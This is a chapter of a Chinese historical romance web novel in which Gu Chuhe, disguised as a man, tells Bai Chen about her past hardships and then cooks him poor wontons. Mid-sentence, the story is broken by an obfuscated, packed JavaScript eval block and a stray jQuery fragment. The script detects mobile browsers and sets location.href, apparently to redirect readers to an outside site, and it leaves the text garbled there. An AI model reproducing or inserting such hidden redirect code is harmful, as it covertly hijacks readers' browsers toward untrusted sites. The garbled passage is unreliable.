白忱垂眸叹息,僵坐在回廊的台阶上自省。
顾初禾抿抿唇,走过去坐在他身边,心情也是十分低落地说道:“都怪我没规矩。”
白忱闻言扭过头,笑着拍拍她的肩宽慰道:“这怎么能怪你呢,那姓佟的就是没事儿找事儿,就算你不在,他也会找其他理由言语中伤侯爷的。至于我和侯爷,你就更不用担心了,侯爷一向刀子嘴豆腐心,不会真生我气的。”
“别想那么多了,你这么晚干什么去?”
“口渴,去烧壶水喝。”
“我跟你一起去吧,顺带也给侯爷泡杯茶送去,就当赔罪了…”,说着,他站起身拍拍屁股,拉着顾初禾往后厨方向走。
厨房内
白忱俯身往灶膛里添柴,火光跳跃,映红了他的侧脸。
顾初禾站在一旁,手持蒲扇,轻轻扇着风,不时抬眸望向他。
火势愈发旺盛,水壶里的水发出“咕噜咕噜”的声响。
她的脸颊被热气烘得绯红,她轻咬下唇,犹豫片刻,终是开口:“白大哥,我知道你当时不仅是为了替侯爷扳回面子,也是为了替我出口气…谢谢你。”
虽说最终白忱没能给佟却尘几拳,但他有这份心,已经很让顾初禾感动了。
白忱转过头,目光与她交汇,眼中满是温柔:“你我之间,何须如此客气。”
“那姓佟的一贯不把任何人放在眼里,对他有用处的,他便给两分好脸色,一旦伤了他半分利益,他就像疯狗似的逮谁咬谁,我早就看他不顺眼了…”
他的声音低沉醇厚,不似平常插科打诨那般嬉闹时,还是相当稳重可靠的。
“所以呀,他说的那些话你也不要放在心上,更不要自责苦恼。恶人自有恶报,你只管该吃吃,该喝喝。”
“不会的,这些年我遭受的冷眼奚落可比今日犀利多了,才不会因为他三言两语就伤心自苦呢。”,顾初禾嘴角噙着一抹淡淡的笑意,说起过往遭遇,语气随意又轻松。
白忱也是吃过苦的,和她一样年少时就承担起了养家的重担。
他知道,那些她轻描淡写说出的过往,压根没那么简单。
“我听曾管事说过,你是家中长子,有两个妹妹,还有一位卧床的老父,年幼就出来讨生计,着实不易…”
顾初禾眸光闪烁,其实从顾家带出来的一车财帛,完全够一家子生存的。
只是她想着要是有一天顾长意出嫁了,总得妹妹添妆,准备一份丰厚的嫁妆,才能有足够的底气在婆家站稳脚跟。
还有郁老伯常年吃药,郁春琅要时时在床榻前侍奉,若去大户人家帮工,就无法照顾病弱的父亲。
所以顾初禾和郁春琅分工明确,一个主外,一个主内,赚钱的事都交给她来,家里内外打理都由郁春琅负责。
虽各有各的辛苦,却也能体谅对方的不易,这么久以来她们从未红过脸吵过架,更有一种惺惺相惜之情。
况且,她早已将郁春琅视作亲姐妹,郁老伯亦是她的家人,若郁老伯来日病故,她也要从那些财帛里取出一部分用作殓葬。
这样算来,尽管那些钱帛还算丰厚,也非取之不尽,不可坐吃山空。
顾初禾为将来精打细算后,发现那些钱还是不够用,这才早早外出讨生活。
原本她也想过去一些富户家中做活,这样领的月钱也多些,可她虽然身着男装,毕竟不是真正的男子。
那些繁重的体力活,她不一定干得来,若是勉强支撑,只怕还会被主家误解为偷懒装病。
况且,要和一群男人同吃同住,她女子的身份早晚要暴露,到时候能不能拿到工钱是其次,更怕的是会被押送到官府,严刑拷打…
几番辗转下,她以出色的算账才能,被典当行的掌柜留用,工钱虽不是很多,至少风吹不着,雨淋不着,也算体面干净。
纵然如此,她在典当行做工的日子,也并非一路坦途顺遂。
起初,她因账目管理的井井有条,每日都登记巡检,导致其他伙计无油水可捞,得罪了人还不自知,之后就被众人排挤,还诬陷她偷盗。
幸好掌柜的慧眼如炬,并未被蒙骗,看穿了那些人的把戏,这才保住了她的饭碗。
之后,又接二连三的遇到难缠的蛮客。
有丈夫偷了妻子嫁妆来典卖的,妻子得知后来店里哭闹,用算盘砸伤了顾初禾的脸,事后夫妻俩和好如初,却没人管她的死活…
也有对典卖价格不满意的,不由分说劈头盖脸一顿骂…
更有甚者,以次充好,故意行骗坑害她的。
还有她上门去收帐,在门外一等就是一天,也是常有的事。
有些老主顾见她年轻好拿捏,口蜜腹剑地哄骗她帮忙拖延赎物期限,事后却赖账,向掌柜的告发她不按契约条款行事,害她被掌柜的斥责罚薪。
这些酸楚,她都能忍的,她已经习惯了…如果白忱不曾说出那句实属不易的话。
若是没有人体谅她的辛酸历程,她也不会觉得过往之事有多难以忍耐,可人就是这样,旁人越是安慰自己,心中积压的委屈就越是不断向外喷涌…
“日子再怎么艰难,都要咬牙熬下去,熬下去说不定就会有希望。”
她努力让自己内心平复,可眼角控制不住的泪水还是出卖了她。
她吸吸鼻子,故作轻松地笑着道:“就像现在,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558289|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不仅能跟在侯爷身边做事,还有白大哥你的照拂,已算是苦尽甘来啦。”
一时间,厨房内安静了下来,唯有炉火燃烧的噼啪声和水烧开的咕噜声。
两人的目光交织在一起,似有千言万语,却又不知从何说起。
顾初禾微笑着低下头,手中的蒲扇扇得更快了些。
白忱能够体会她的苦楚,他也理解她不愿再提起过去的事,一转脸便变回以往那副不羁的模样,转移话题道:“唉,被那厮坏了心情,还浪费了一桌子好菜,先前在气头上不饿,现在缓过劲儿倒是想吃点东西了…”
他站起身,在厨柜里翻腾吃食。
“白大哥,要不我来包馄饨吧,之前侯爷想吃宵夜,就是我给做的。”,顾初禾也跟着站起来,自告奋勇道。
“行呀,我还没尝过你的手艺呢。”
“算不上什么手艺,就是年幼的时候,我娘…我娘喜欢包馄饨,看着看着就学会了,我爹吃了赞不绝口呢。”
顾初禾提起爹娘时,还是不免内心翻涌。
但是很快她就平复了心情,撸起袖子,自信满满,先去和面。
白忱看她和面,剁馅,菜刀在案板上敲得“砰砰”响,看着还真像那么回事儿,心想这么驾轻就熟,手艺应该挺不错的,他也就放下心来去泡茶了。
顾初禾手法娴熟,馄饨皮在她手里捏的紧实圆润,不一会儿白花花的肉馅馄饨就挨个儿下锅了。
“嗯,闻着还怪香的。”,白忱坐在桌前,看着热气腾腾的馄饨端上桌,心中满是期待。
他心急地舀起一个放入口中,刚嚼了几下,脸色就变得有些微妙。
馄饨皮厚得像面饼,馅料调味也十分奇怪,咸得发苦。
顾初禾在一旁眼巴巴地看着他,问道:“味道怎么样?”
他扯出一个勉强的笑容,艰难地咽下,安慰道:“嗯…很特别,我从未吃过这样的馄饨。”
她却没听出他的言外之意,开心地说:“好吃就行,我还担心不合你口味呢!”
“老弟,你刚才说这馄饨侯爷也吃过?他…他怎么说?”,白忱突然像是从梦中惊醒,一脸诧异地望着她问道。
顾初禾淡定道:“也没怎么说,就两个字,尚可。”
白忱闻言嘴角微微抽动了一下,他猜想陆砚舟也一定是吃出了这馄饨有多难吃,但是不忍心打击顾初禾的信心,所以才勉强说出尚可二字。
他憋着坏笑站起身,双手捧着碗筷,提议道:“想必侯爷也饿了,要不咱把这馄饨给他送去?”
“你先吃呗,侯爷那份儿我再单独做就是了。”,顾初禾压根没察觉他表情异样,还以为自己做的馄饨太过可口,白忱忍不住要跟陆砚舟分享呢。
她撸起袖子,兴奋得又准备大干一场,却被白忱阻拦。
“不用不用,这么晚就别麻烦了,我好像也不是那么饿了,还是侯爷要紧。”,他几乎是逃出了厨房,跳着迈过门槛,大声喊道:“茶壶带上,咱们现在就去…”
顾初禾虽不解,但还是听话照做,拎着泡好的茶水跟了上去。